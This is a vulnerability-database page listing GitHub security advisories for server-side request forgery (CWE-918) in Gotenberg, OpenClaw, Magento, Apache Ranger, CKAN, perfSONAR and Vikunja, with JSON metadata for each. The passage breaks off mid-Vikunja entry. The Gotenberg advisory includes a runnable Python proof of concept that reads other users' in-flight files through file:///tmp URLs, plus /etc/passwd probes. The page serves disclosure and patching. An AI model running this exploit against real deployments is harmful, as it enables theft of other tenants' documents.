Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4755 vulnerabilities reference this CWE, most recent first.

GHSA-G924-CJX7-2RJW

Vulnerability from github – Published: 2026-05-07 01:15 – Updated: 2026-07-21 14:34
VLAI
Summary
Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme
Details

Summary

The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

Details

The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:

fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")

pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:

if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}

So any file:///tmp/... URL passes FilterOutboundURL cleanly.

The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):

options.AllowedFilePrefixes = []string{ctx.DirPath()}

and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):

if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}

The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.

Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.

Proof of Concept

Reproduction uses the stock Docker image with no auth:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)

# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)

# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
        # Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break

# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")  # 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.

Found by aisafe.io

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 8.31.0"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "8.32.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v7"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "7.10.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42597"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T01:15:47Z",
    "nvd_published_at": "2026-05-14T16:16:23Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `/forms/chromium/convert/url` and `/forms/chromium/screenshot/url` routes accept `url=file:///tmp/...` from anonymous callers. The default Chromium deny-list intentionally exempts `file:///tmp/` so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request `AllowedFilePrefixes` guard to scope the read. The URL routes never set `AllowedFilePrefixes`, so the scope guard silently skips. Alice enumerates `/tmp/`, walks Gotenberg\u0027s per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.\n\n## Details\n\nThe default deny-list regex at `pkg/modules/chromium/chromium.go:449` uses a negative lookahead to exempt `/tmp/`:\n\n```go\nfs.StringSlice(\"chromium-deny-list\",\n    []string{`^file:(?!//\\/tmp/).*`},\n    \"Set the denied URLs for Chromium using regular expressions - supports multiple values\")\n```\n\n`pkg/gotenberg/outbound.go:185-187` short-circuits IP validation for non-HTTP schemes:\n\n```go\nif !httpLikeScheme(parsed.Scheme) {\n    return outboundDecision{}, nil\n}\n```\n\nSo any `file:///tmp/...` URL passes `FilterOutboundURL` cleanly.\n\nThe HTML route pairs the exemption with a per-request scope guard (`pkg/modules/chromium/routes.go:518`):\n\n```go\noptions.AllowedFilePrefixes = []string{ctx.DirPath()}\n```\n\nand the CDP `Fetch.requestPaused` handler enforces the scope (`pkg/modules/chromium/events.go:65-78`):\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") \u0026\u0026 len(options.allowedFilePrefixes) \u003e 0 {\n    prefixMatch := false\n    for _, prefix := range options.allowedFilePrefixes {\n        if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n            prefixMatch = true\n            break\n        }\n    }\n    if !prefixMatch {\n        allow = false\n    }\n}\n```\n\nThe `len(options.allowedFilePrefixes) \u003e 0` condition skips the entire enforcement block when the slice is empty. The URL route handler at `pkg/modules/chromium/routes.go:406-448` (`convertUrlRoute`) never populates `AllowedFilePrefixes`. `MandatoryString(\"url\", \u0026url)` takes the form value without scheme validation and passes it to `convertUrl` \u2192 `chromium.Pdf` \u2192 Chromium navigation.\n\nGotenberg stores uploaded request assets at `/tmp/\u003cgotenberg-work-uuid\u003e/\u003crequest-uuid\u003e/\u003cfile-uuid\u003e.\u003cext\u003e` (`pkg/gotenberg/fs.go:64-65`). Chromium renders the targeted `file://` URL as a PDF and the response body returns to the caller.\n\n## Proof of Concept\n\nReproduction uses the stock Docker image with no auth:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n```\n\nPython script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. `waitDelay=15s` stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):\n\n```python\nimport requests, threading, time, subprocess, re\nTARGET = \"http://localhost:3000\"\nSECRET = f\"BOB-CROSS-REQ-LEAK-{int(time.time())}\"\n\nbob_html = f\"\u003chtml\u003e\u003cbody\u003e\u003ch1\u003e{SECRET}\u003c/h1\u003e\u003c/body\u003e\u003c/html\u003e\".encode()\n\ndef bob_runs():\n    requests.post(\n        f\"{TARGET}/forms/chromium/convert/html\",\n        files={\"files\": (\"index.html\", bob_html, \"text/html\")},\n        data={\"waitDelay\": \"15s\"},\n        timeout=60,\n    )\n\ndef alice_reads(url):\n    r = requests.post(\n        f\"{TARGET}/forms/chromium/convert/url\",\n        files={\"url\": (None, url)}, timeout=30,\n    )\n    if r.status_code != 200: return None\n    open(\"/tmp/_alice.pdf\", \"wb\").write(r.content)\n    return subprocess.run(\n        [\"pdftotext\", \"/tmp/_alice.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n\nthreading.Thread(target=bob_runs, daemon=True).start()\ntime.sleep(2)\n\n# Step 1: list /tmp/ to discover the gotenberg work UUID\ntmp = alice_reads(\"file:///tmp/\")\nwork = re.search(r\"([0-9a-f-]{36})\", tmp).group(1)\n\n# Step 2: walk into the work dir to find an in-flight request dir\nwd = alice_reads(f\"file:///tmp/{work}/\")\nfor req in re.findall(r\"([0-9a-f-]{36})\", wd):\n    if req == work: continue\n    rd = alice_reads(f\"file:///tmp/{work}/{req}/\")\n    if rd and (m := re.search(r\"([0-9a-f-]{36}\\.html)\", rd)):\n        # Step 3: read bob\u0027s uploaded HTML\n        txt = alice_reads(f\"file:///tmp/{work}/{req}/{m.group(1)}\")\n        print(\"SECRET recovered:\", SECRET in txt)\n        break\n\n# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)\nr = requests.post(f\"{TARGET}/forms/chromium/convert/url\",\n    files={\"url\": (None, \"file:///etc/passwd\")}, timeout=30)\nprint(f\"/etc/passwd probe: HTTP {r.status_code}\")  # 403 Forbidden\n```\n\nOutput against gotenberg 8.31.0:\n\n```\nSECRET recovered: True\n/etc/passwd probe: HTTP 403\n```\n\n`file:///tmp/` directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim\u0027s request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit `waitDelay`) widen the window from milliseconds to seconds.\n\n## Impact\n\nAn unauthenticated caller enumerates `/tmp/` on the Gotenberg host and reads the raw source files of other users\u0027 conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim\u0027s request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.\n\nThe deny-list regex holds for paths outside `/tmp/`. `file:///etc/passwd`, `file:///proc/self/environ`, and similar targets return HTTP 403. The primitive is scoped to `/tmp/`, not arbitrary filesystem read.\n\n## Recommended Fix\n\nRemove the `len(options.allowedFilePrefixes) \u003e 0` condition at `pkg/modules/chromium/events.go:65` so URL routes block every `file://` sub-resource by default:\n\n```go\nif allow \u0026\u0026 strings.HasPrefix(e.Request.URL, \"file://\") {\n    if len(options.allowedFilePrefixes) == 0 {\n        allow = false\n    } else {\n        prefixMatch := false\n        for _, prefix := range options.allowedFilePrefixes {\n            if strings.HasPrefix(e.Request.URL, \"file://\"+prefix) {\n                prefixMatch = true\n                break\n            }\n        }\n        if !prefixMatch {\n            allow = false\n        }\n    }\n}\n```\n\nEquivalent alternative: reject non-`http`/`https` schemes in the URL route handlers (`convertUrlRoute`, `screenshotUrlRoute`) before handing the URL to Chromium.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-g924-cjx7-2rjw",
  "modified": "2026-07-21T14:34:24Z",
  "published": "2026-05-07T01:15:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-g924-cjx7-2rjw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42597"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg allows Chromium URL conversion routes to read arbitrary files under /tmp via file:// scheme"
}

GHSA-G99V-8HWM-G76G

Vulnerability from github – Published: 2026-03-02 22:03 – Updated: 2026-03-20 21:36
VLAI
Summary
OpenClaw has web_search citation redirect SSRF via private-network-allowing policy
Details

Summary

Gemini web_search citation redirect resolution used a private-network-allowing SSRF policy. A citation URL redirect could target loopback/private/internal destinations and be fetched by the gateway.

Impact

An attacker who can influence citation redirect targets could trigger internal-network requests from the OpenClaw host.

Fix

Citation redirect resolution now uses strict/default SSRF policy (no private-network override), blocking localhost/private/internal redirect targets.

Affected and Patched Versions

  • Affected: <= 2026.2.26
  • Patched: 2026.3.1
Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-31989"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T22:03:09Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nGemini `web_search` citation redirect resolution used a private-network-allowing SSRF policy. A citation URL redirect could target loopback/private/internal destinations and be fetched by the gateway.\n\n### Impact\nAn attacker who can influence citation redirect targets could trigger internal-network requests from the OpenClaw host.\n\n### Fix\nCitation redirect resolution now uses strict/default SSRF policy (no private-network override), blocking localhost/private/internal redirect targets.\n\n### Affected and Patched Versions\n- Affected: `\u003c= 2026.2.26`\n- Patched: `2026.3.1`",
  "id": "GHSA-g99v-8hwm-g76g",
  "modified": "2026-03-20T21:36:03Z",
  "published": "2026-03-02T22:03:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-g99v-8hwm-g76g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31989"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-server-side-request-forgery-via-web-search-citation-redirect"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw has web_search citation redirect SSRF via private-network-allowing policy"
}

GHSA-G9FM-WC6H-PVGJ

Vulnerability from github – Published: 2024-10-10 12:31 – Updated: 2024-12-12 19:32
VLAI
Summary
Magento Open Source Server-Side Request Forgery (SSRF) vulnerability
Details

Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.7-beta1"
            },
            {
              "fixed": "2.4.7-p3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.6-p1"
            },
            {
              "fixed": "2.4.6-p8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.4.5-p1"
            },
            {
              "fixed": "2.4.5-p10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.4.4-p11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.7"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.6"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.5"
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "versions": [
        "2.4.4"
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-11T18:15:48Z",
    "nvd_published_at": "2024-10-10T10:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Adobe Commerce versions 2.4.7-p2, 2.4.6-p7, 2.4.5-p9, 2.4.4-p10 (and earlier) are affected by a Server-Side Request Forgery (SSRF) vulnerability that could lead to arbitrary file system read. An admin-privilege authenticated attacker can force the application to make arbitrary requests via injection of arbitrary URLs. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-g9fm-wc6h-pvgj",
  "modified": "2024-12-12T19:32:06Z",
  "published": "2024-10-10T12:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45119"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/magento/apsb24-73.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Magento Open Source Server-Side Request Forgery (SSRF) vulnerability"
}

GHSA-G9GF-G5JQ-9H3V

Vulnerability from github – Published: 2025-01-22 00:33 – Updated: 2025-06-10 14:52
VLAI
Summary
Apache Ranger UI vulnerable to Server Side Request Forgery
Details

SSRF vulnerability in Edit Service Page of Apache Ranger UI in Apache Ranger Version 2.4.0. Users are recommended to upgrade to version Apache Ranger 2.5.0, which fixes this issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.ranger:ranger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45479"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-27T22:57:20Z",
    "nvd_published_at": "2025-01-21T22:15:12Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF vulnerability in Edit Service Page of Apache Ranger UI in Apache Ranger Version 2.4.0.\nUsers are recommended to upgrade to version Apache Ranger 2.5.0, which fixes this issue.",
  "id": "GHSA-g9gf-g5jq-9h3v",
  "modified": "2025-06-10T14:52:09Z",
  "published": "2025-01-22T00:33:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45479"
    },
    {
      "type": "WEB",
      "url": "https://cwiki.apache.org/confluence/display/RANGER/Vulnerabilities+found+in+Ranger"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/ranger"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/01/21/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Ranger UI vulnerable to Server Side Request Forgery"
}

GHSA-G9PH-J5VJ-F8WM

Vulnerability from github – Published: 2024-08-21 18:27 – Updated: 2024-08-21 18:27
VLAI
Summary
Potential access to sensitive URLs via CKAN extensions (SSRF)
Details

Impact

There are a number of CKAN plugins, including XLoader, DataPusher, Resource proxy and ckanext-archiver, that work by downloading the contents of local or remote files in order to perform some actions with their contents (e.g. pushing to the DataStore, streaming contents or saving a local copy). All of them use the resource URL, and there are currently no checks to limit what URLs can be requested. This means that a malicious (or unaware) user can create a resource with a URL pointing to a place where they should not have access in order for one of the previous tools to retrieve it (known as a Server Side Request Forgery).

Patches and Workarounds

Users wanting to protect against these kinds of attacks can use one or a combination of the following approaches:

  • Use a separate HTTP proxy like Squid that can be used to allow / disallow IPs, domains etc as needed, and make CKAN extensions aware of this setting via the ckan.download_proxy config option.
  • Implement custom firewall rules to prevent access to restricted resources.
  • Use custom validators on the resource url field to block/allow certain domains or IPs.

All latest versions of the plugins linked above support the ckan.download_proxy settings. Support for this setting in the Resource Proxy plugin was included in CKAN 2.10.5 and 2.11.0

References

  • Blog post provides more details on how to configure a Squid proxy to prevent these issues
Severity
4.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
6.8 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ckan"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-43371"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-08-21T18:27:11Z",
    "nvd_published_at": "2024-08-21T15:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThere are a number of CKAN plugins, including [XLoader](https://github.com/ckan/ckanext-xloader), [DataPusher](https://github.com/ckan/datapusher), [Resource proxy](https://docs.ckan.org/en/latest/maintaining/data-viewer.html#resource-proxy) and [ckanext-archiver](https://github.com/ckan/ckanext-archiver/), that work by downloading the contents of local or remote files in order to perform some actions with their contents (e.g. pushing to the DataStore, streaming contents or saving a local copy). All of them use the resource URL, and there are currently no checks to limit what URLs can be requested. This means that a malicious (or unaware) user can create a resource with a URL pointing to a place where they should not have access in order for one of the previous tools to retrieve it (known as a [Server Side Request Forgery](https://owasp.org/www-community/attacks/Server_Side_Request_Forgery)).\n\n### Patches and Workarounds\n\nUsers wanting to protect against these kinds of attacks can use one or a combination of the following approaches:\n\n* Use a separate HTTP proxy like [Squid](https://www.squid-cache.org/) that can be used to allow / disallow IPs, domains etc as needed, and make CKAN extensions aware of this setting via the [`ckan.download_proxy`](https://docs.ckan.org/en/latest/maintaining/configuration.html#ckan-download-proxy) config option. \n* Implement custom firewall rules to prevent access to restricted resources.\n* Use custom validators on the resource `url` field to block/allow certain domains or IPs.\n\nAll latest versions of the plugins linked above support the `ckan.download_proxy` settings. Support for this setting in the Resource Proxy plugin was included in CKAN 2.10.5 and 2.11.0\n\n### References\n\n* [Blog post](https://feeding.cloud.geek.nz/posts/restricting-outgoing-webapp-requests-using-squid-proxy/) provides more details on how to configure a Squid proxy to prevent these issues\n",
  "id": "GHSA-g9ph-j5vj-f8wm",
  "modified": "2024-08-21T18:27:12Z",
  "published": "2024-08-21T18:27:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ckan/ckan/security/advisories/GHSA-g9ph-j5vj-f8wm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43371"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ckan/ckan/commit/382beaec98cb331f2a030459ef043c50eaf5ad53"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ckan/ckan/commit/8601183cc2fc87277ea5b33ff75c3a5610812ab5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ckan/ckan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Potential access to sensitive URLs via CKAN extensions (SSRF)"
}

GHSA-G9R7-HQ6J-VV4R

Vulnerability from github – Published: 2023-01-01 09:30 – Updated: 2025-04-11 15:32
VLAI
Details

perfSONAR before 4.4.6, when performing participant discovery, incorrectly uses an HTTP request header value to determine a local address.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-45027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-01-01T08:15:00Z",
    "severity": "MODERATE"
  },
  "details": "perfSONAR before 4.4.6, when performing participant discovery, incorrectly uses an HTTP request header value to determine a local address.",
  "id": "GHSA-g9r7-hq6j-vv4r",
  "modified": "2025-04-11T15:32:12Z",
  "published": "2023-01-01T09:30:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45027"
    },
    {
      "type": "WEB",
      "url": "https://www.perfsonar.net/releasenotes-2022-11-09-4-4-6.html"
    },
    {
      "type": "WEB",
      "url": "https://zxsecurity.co.nz/research/advisories/perfsonar-multiple"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-G9XJ-752Q-XH63

Vulnerability from github – Published: 2026-03-25 21:17 – Updated: 2026-03-30 21:13
VLAI
Summary
Vikjuna Bypasses Webhook SSRF Protections During OpenID Connect Avatar Download
Details

Summary

The DownloadImage function in pkg/utils/avatar.go uses a bare http.Client{} with no SSRF protection when downloading user avatar images from the OpenID Connect picture claim URL. An attacker who controls their OIDC profile picture URL can force the Vikunja server to make HTTP GET requests to arbitrary internal or cloud metadata endpoints. This bypasses the SSRF protections that are correctly applied to the webhook system.

Details

When a user authenticates via OpenID Connect, Vikunja extracts the picture claim from the ID token or UserInfo endpoint and passes it to syncUserAvatarFromOpenID, which calls utils.DownloadImage with the attacker-controlled URL:

Claim extraction (pkg/modules/auth/openid/openid.go:70-78):

type claims struct {
    Email              string                   `json:"email"`
    Name               string                   `json:"name"`
    PreferredUsername   string                   `json:"preferred_username"`
    Nickname           string                   `json:"nickname"`
    VikunjaGroups      []map[string]interface{} `json:"vikunja_groups"`
    Picture            string                   `json:"picture"`
    // ...
}

Avatar sync trigger (pkg/modules/auth/openid/openid.go:348-352):

// Try sync avatar if available
err = syncUserAvatarFromOpenID(s, u, cl.Picture)
if err != nil {
